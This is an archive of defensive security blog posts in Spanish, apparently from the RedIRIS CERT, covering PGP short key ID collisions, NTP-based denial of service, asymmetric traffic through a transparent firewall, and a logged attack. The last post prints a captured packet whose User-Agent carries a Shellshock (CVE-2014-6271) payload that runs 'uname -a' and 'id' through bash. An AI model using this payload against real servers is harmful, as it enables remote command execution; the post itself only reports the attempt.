Archivo

Archivo del autor

¿Por qué el PGP Keyid “corto” no es suficiente ?

Miércoles, 24 de Agosto de 2016 Comentarios desactivados

Cuando se genera un par de claves PGP se tiene entre otras cosas un identificador de clave (“KeyID”) de 8 caracteres, que se suele emplear muchas veces para referenciar la clave, por ejemplo :

gpg -kv seguridad@rediris.es
gpg: using PGP trust model
pub 8192R/84CE6AC8 2014-05-06
uid [ultimate] Seguridad <seguridad@rediris.es>
sub 8192R/BB3F1160 2014-05-06
sub 4096R/9F0213FD 2014-05-06

El “84CE6AC8” es lo que se suele indicar como identificar de clave y para indicar que es hexadecimal se suele poner con 0x84CE6AC8

En el RFC 4880 donde se especifica la implantación de PGP se indica como se obtiene este KeyID https://tools.ietf.org/html/rfc4880#section-12.2  , existe la opción de generar un KeyId largo (16 caracteres indicando la opciòn –keyid-format long al Gnupg:

 gpg -kv --keyid-format 0xlong seguridad@rediris.es
gpg: using PGP trust model
pub 8192R/0xB3C8DD8484CE6AC8 2014-05-06
uid [ultimate] Seguridad <seguridad@rediris.es>
sub 8192R/0xDDBA3D64BB3F1160 2014-05-06
sub 4096R/0x35C65CFE9F0213FD 2014-05-06

Mucha gente emplea el KeyId a la hora de buscar la clave, sin embargo desde hace algún tiempo se lleva advirtiendo de que es posible generar par de claves PGP que contengan el mismo KeyId que otra ya existente, este par de claves no podría usarse para descifrar mensajes de la clave original, pero podrían servir para falsificar la identidad de una, persona o dirección.

Por ejemplo si alguien recibe un correo de seguridad@rediris.es  firmado con una clave PGP que tenga el mismo KeyId corto que seguridad@rediris.es podría tomar este correo como válido aunque fuera un phising o un ataque dirigido,  ya que muchas veces no se comprueba “la red de confianza “(Web of Trust), de PGP https://es.wikipedia.org/wiki/Anillo_de_confianza .

Todo esto se conocía de forma teórica. pero el 15 de Agosto, salto este correo en la lista de desarrollo del kernel de Linux,  ( https://lkml.org/lkml/2016/8/15/445 )  indicando la existencia de varias claves PGP falsas de algunos de los desarrolladores más importantes.

mail-pgp

En algunos sitios, como http://www.asheesh.org/note/debian/short-key-ids-are-bad-news.html  se comentan, pero  tras una semana no hay mucha información, aunque buscando en los servidores de claves PGP la clave de Linux Torvards, 0x00411886 , aparece una serie de datos curiosos  https://pgp.rediris.es/pks/lookup?search=0x004118861&op=vindex :

  • La clave PGP “falsa” tiene mucha firmas asociadas, pero todas son del mismo día (2014-08-05)
  • Estas claves PGP que han firmado la clave son también falsas, parece que se intenta “clonar” la red de confianza de forma que se pueda engañar a los usuarios.
  • La clave PGP fue revocada el día 16 de Agosto, al igual que las claves falsas,

La red de confianza generada para esta clave PGP falsa de Linux Torvards y para el resto de claves , se puede ver en los siguientes gráficos , generados utilizando sig2dot.pl , https://github.com/francisco-monserrat/sig2dot , haciendo lo siguiente:

  • En un keyring vacio de GnuPG se añade la clave PGP falsa.
  • Sacamos un listado de todas las claves que la firmaron
  • Buscamos y añadimos todas estas claves al keyring
  • Utilizamos esta información para generar un grafo con sig2dot.pl y después utilizamos Graphviz para generar un PNG del grafo.

 

torvard.dot

Este gráfico  muestra que no solamente firmaron la falsa de Linux Torvards, volviendo a buscar las claves “falsas” paver ver si había otras firmas aparece el siguiente grafo.

second.dot

Los nodos sin conexión son debidos seguramente a algunas claves “verdaderas” que se mezclaron en la búsqueda. (la verdad es que tendría que investigar algo más.

Todas las claves además guardan la misma relación de fechas de creación y revocación, ,Buscando en la información del servidor de claves de RedIRIS, por las estadisticas se vé que efectiamente el día 16 se actualizaron muchas claves:

Time New Keys Updated Keys
2016-08-22 845 464
2016-08-21 650 369
2016-08-20 662 365
2016-08-19 924 366
2016-08-18 1067 468
2016-08-17 1029 480
2016-08-16 27501 24242
2016-08-15 878 425
2016-08-14 830 248
2016-08-13 736 12
Por fortuna en la lista de administradores de los servidores de clave PGP aparece la solución, http://lists.nongnu.org/archive/html/sks-devel/2016-08/msg00019.html ,  ya que indican un enlace a la siguiente discusión en ycombinator https://news.ycombinator.com/item?id=12296974
Al Parecer en https://evil32.com/  se han dedicado a recrear todas la información de todas las claves en el “anillo fuerte” de PGP y algún usuario había subido las claves a los servidores de claves PGP , por lo que para evitar problemas los responsables del sitio revocaron todas las claves falsas y las subieron a los servidores de claves PGP, de forma que todas estuvieran “anuladas” por si hubiera dudas.
Aunque PGP / GnuPG sigue siendo un método seguro para cifrar y firmar información,  los problemas comentados anteriormente y que en los ejemplos de evil32.com están bien comentado s,  https://evil32.com/examples.html  indican muchas veces la falsa seguridad del empleo “incorrecto” de PGP:
  • No se emplea/mantiene una Red de confianza (Web of trust), mediante “fiestas de firmado de claves”, https://es.wikipedia.org/wiki/Fiesta_de_firmado_de_claves  es decir reuniones en las que se comprueba la identidad de la persona mediante identificadores oficiales (DNI, pasaportes, etc) y se hace hincapié en  la verificación del fingerprint (huella digital de la clave).
  • Esto hace que mucha gente solamente porque la firma de un mensaje o fichero sea válida, la da por correcta, sin verificar la identidad de las firmas  que pueda tener esta clave, además en muchos sistemas se configura GnuPG para que de forma automática se descargue las claves PGP que no tenga en su keyring,
  • solamente se verifica “visualmente” que el nombre y correo de la clave correspondan  con el emisor del mensaje
  • Mucha gente confia en que la información puesta en la web (muchas veces sin SSL/HTTPs) indicando  una clave PGP es valida.

La solución pasa desde luego por la utilización correcta de la red de confianza de PGP.

 

Categories: Criptografía Tags:

NTP : no solo para la hora.

Viernes, 29 de Enero de 2016 Comentarios desactivados

El protocolo NTP es utilizado para la sincronización de la hora en los equipos, necesario no solo para tener los logs bien sincronizados, sino cualquier otra aplicación que requiere tener la hora “exacta”  (controles de acceso, tarificación, etc), de hecho casi todos los sistemas operativos modernos emplean este protocolo para la sincronización horaria.

Por desgracia el protocolo NTP emplea UDP a la hora de realizar las consultas, lo que hace que este siendo muy utilizado para los ataques de denegación de servicio, como ya se comento en  una entrada de este blog,  , estos ataques se basan sobre todo en la posibilidad de falsificar el tráfico IP (spoofing) en algunas redes para así lanzar ataques contra servidores, que muchas veces no tienen NTP.

Por ejemplo la siguiente gráfica muestra dos ataques empleando NTP contra una organización conectada a RedIRIS , el verde aparece el trafico HTTP y HTTPS , mientras que en azul es el trafico NTP.

ntp-ataque

Se puede ver que cuando se produce el trafico NTP se reduce el trafico de ambos protocolos debido a que la saturación de la conexión hace que no se pueda recibir el trafico .

Asi mismo se puede utilizar NTP y otros protocolos  para descubrir equipos con IPv6 aun cuando empleen direccionamiento aleatorio, si los atacantes son capaces de controlar alguno de los servidores intermedios que se emplean públicamente para esta sincronización, aprovechando que en muchas organizaciones no se tiene establecido una jerarquía de sincronización NTP sino que muchos equipos se sincronizan directamente con los equipos de NTP configurados por defecto en los diversos sistemas operativos.

Para mitigar un poco estos ataques desde RedIRIS se pueden aplicar medidas que limiten el trafico NTP en las conexiones de las instituciones afiliadas pero se requiere que  haya definido una jerarquía de servidores a nivel interno de la organización y con RedIRIS de forma el número de equipos que realizan consultas NTP al exterior sea reducido.

Dentro de poco se ira públicando una serie de recomendaciones para la configuración de NTP en las instituciones afiliadas a RedIRIS.

Asimetrías de tráfico en Cortafuegos

Miércoles, 22 de Julio de 2015 Comentarios desactivados

La mayoría de las veces los cortafuegos se ponen en modo “activo”, empleándose com router de interconexión de las diversas redes,  algo diferente a los cortafuegos de “aplicación” o pasarela como  FWTK o en su versión comercial (Gauntlet), que diferenciaban bien el tráfico, después se paso a utilizar los cortafuegos como routers y de ahí a pensar que las iptables son un firewall…

Ahora con los cortafuegos de “capa 7” (¿ cuando ha tenido TCP/IP 7 capas?) , se pueden poner muchas veces en “modo  trasparente” y esto hace que en muchas situaciones donde antes “no pasaba nada” ahora no funcione el tráfico , como puede  verse en el siguiente en el que un equipo dentro de una misma red hacía de router para una red interna distinta de la “ruta por defecto” y que no presentaba “problemas” hasta que se incluyo un cortafuegos de “nueva generación” transparente y en medio..

En el siguiente esquema se muestra como estaban situados los equipos:

red_interna

red_interna

En principio, no hay problemas hay un router y por defecto y el tráfico por defecto va al router y este llega va y vuelve sin problemas, el cortafuegos inspecciona el tráfico y no se ven problemas.

trafico_a_internet

tráfico a internet

El tráfico de las máquinas pasa por el cortafuegos con destino al router , este envía los paquetes IP a internet y la vuelta viene por el mismo sitio.

Para acceder a la red interna se tenían muchas opciones, pero lo “más cómodo” fue que el router principal tuviera una ruta definida de forma estática a esta red interna empleando un equipo interno que conectaba con la otra red, de forma que el tráfico a la red interna se enrutara por el equipo interno que hacía de router:

trafico_asimetrico

tráfico asimétrico

Ahora bien esto creaba un tráfico asimétrico los paquetes “de ida” de las estaciones de trabajo se dirigían al router (es su router por defecto), de ahí el router las reenviaba al equipo en la misma red interna que hacía routing y de ahí a la red interna, ahora bien el router interno no empleaba el router principal para reenviar los paquetes IP de vuelta, ya que al estar las máquinas en la misma red se enviaban directamente.

Al poner el cortafuegos en modo transparente este solamente veía los paquetes de ida (dos veces eso sí), por lo que por ejemplo para permitir el tráfico HTTP/HTTPS permitía el primer paquete (SIN) , que inspeccionaba, pero después al no tener el paquete de SIN/ACK , los siguientes paquetes no los enviaba al estar esperando este SIN/ACK.

En los equipos la conexión TCP/IP se establecía (ya que llegaba el SIN/ACK) pero después al bloquear el tráfico el cortafuegos no se podían enviar datos, ¿la forma final para depurar y comprobar que estaba pasando esto ?, emplear en el equipo de usuario una captura de paquetes y ver que la direcciones MAC que se empleaban en la comunicación no eran las que tenían que ser, ya que aunque los paquetes se enviaban al router principal era el router interno el que enviaba después a nivel interno el trafico.

trafico_macs

trafico_macs

Por defecto tcpdump no muestra la información de la direcciones MAC, por lo que hay que indicarlo con la opción -e y después comprobar en la tabla arp (arp -an ) a que equipo corresponde cada una de las MAC.

Se pueden establecer varias soluciones, que por diversos motivos se fueron descartando:

Poner rutas más especificas en los equipos de forma que no utilizarán el router principal para acceder a esta red sino que fueran directamente a la red interna, sin embargo los equipos se configuran por DHCPD y resulta que la opción de configurar varias rutas (RFC-3442 Classless Static Routes) no funciona en algunas de las estaciones de trabajo.

Forzar en el router interno a que el tráfico con destino la red de usuarios sea enviado al router principal, esto obligaría a emplear enrutamiento por fuente en este router (el routing normal suele ser por “destino”) y configurar el router principal para que cuando le llegue este tráfico no se queje mucho (algo raro que una máquina de la misma red envíe trafico a traves de el en vez de directamente.

Al final se decidió establecer una red de conexión “punto a punto” (un /30) entre los dos routers, de forma que el router secundario no estuviera en la misma red que los equipos de usuarios, estableciendo incluso una VLAN separada, de esta forma el tráfico al final pase por el cortafuegos siempre y no haya problemas de conexión.

IMG_20150717_110702

tráfico simétrico

Al final el tráfico pasa dos veces por el cortafuegos (qué se le va a hacer ), pero es un tráfico simétrico y el cortafuegos puede inspeccionarlo , comprobar que todo va correcto, no solo a nivel IP sino a nivel de aplicación y proteger de forma adecuada a los usuarios.

Categories: sistemas Tags: , ,

PGP hasta en las redes sociales

Martes, 2 de Junio de 2015 Comentarios desactivados

Como paradoja de la vida, la ultima nota de fomento de PGP viene de la mano de FaceBook, que hoy ha anunciado que va a enviar los correos firmados con su clave PGP y que además si ponemos   nuestra clave PGP   en su servidor podemos recibir los correos de Facebook cifrados .

https://www.facebook.com/notes/protecting-the-graph/securing-email-communications-from-facebook/1611941762379302 

Una buena noticia para los amantes de la privacidad, que pueden recibir ahora sus notificaciones de Facebook con confidencialidad, veremos si esto sirve un poco para fomentar el uso de la criptografía en las comunicaciones por correo electrónico.

 

Categories: Criptografía Tags: ,

Atacantes en IPv6

Martes, 19 de Mayo de 2015 Comentarios desactivados

Revisando los logs del cortafuegos esta mañana aparece el siguiente paquete que ha sido marcado como un Ataque de inyección de código en bash “Bash Remote Code Execution Vulnerability”, el famoso ShellSock CVE-2014-6271 .

El paquete ethernet capturado es el siguiente:

19:37:20.000000 AA:BB:CC:DD:EE:FF > ZZ:XX:YY:SS:TT:RR, ethertype 802.1Q 
(0x8100), length 305: vlan XX, p 0, ethertype IPv6, (hlim 54, next-header: 
TCP (6), length: 247) 2001:41d0:2:c59e::1.53537 > 2001:720:418:cafd::20.80:
 P, cksum 0xca79 (correct), 1838219336:1838219551(215) ack 3534929269 win
 113 <nop,nop,timestamp 1314898790 2658160117>

	0x0000:  0000 0000 0000 0000 0000 0000 0000 0000  ................
	0x0010:  0000 0000 0000 0000 0636 2001 41d0 0002  ................
	0x0020:  c59e 0000 0000 0000 0001 2001 0720 0418  ................
	0x0030:  cafd 0000 0000 0000 0020 d121 0050 6d91  ................
	0x0040:  0048 d2b2 bd75 8018 0071 ca79 0000 0101  ...............
	0x0050:  080a 4e5f c366 9e70 4df5 4745 5420 2f6c  ..N_.f.pM.GET./l
	0x0060:  6973 742f 7075 626c 2f68 6572 7261 6d69  ist/publ/herrami
	0x0070:  656e 7461 2e70 6466 2048 5454 502f 312e  enta.pdf.HTTP/1.
	0x0080:  310d 0a41 6363 6570 742d 456e 636f 6469  1..Accept-Encodi
	0x0090:  6e67 3a20 6964 656e 7469 7479 0d0a 486f  ng:.identity..Ho
	0x00a0:  7374 3a20 7777 772e 7265 6469 7269 732e  st:.www.rediris.
	0x00b0:  6573 0d0a 436f 6e6e 6563 7469 6f6e 3a20  es..Connection:.
	0x00c0:  636c 6f73 650d 0a55 7365 722d 4167 656e  close..User-Agen
	0x00d0:  743a 2028 2920 7b20 666f 6f3b 7d3b 6563  t:.().{.foo;};ec
	0x00e0:  686f 3b20 2f62 696e 2f62 6173 6820 2d63  ho;./bin/bash.-c
	0x00f0:  2022 6578 7072 2032 3939 3636 3332 3939  ."expr.299663299
	0x0100:  3636 3520 2f20 333b 2065 6368 6f20 3333  665./.3;.echo.33
	0x0110:  333a 3b20 756e 616d 6520 2d61 3b20 6563  3:;.uname.-a;.ec
	0x0120:  686f 2033 3333 3a3b 2069 643b 220d 0a0d  ho.333:;.id;"...
	0x0130:  0a                                       .

Hasta aquí todo normal, hasta que viendo la dirección IP origen del ataque aparece como tipo de protocolo IPv6 y dirección 2001:41d0:2:c59e::1 , parece que IPv6 empieza a verse en algunos ataques además del Spam.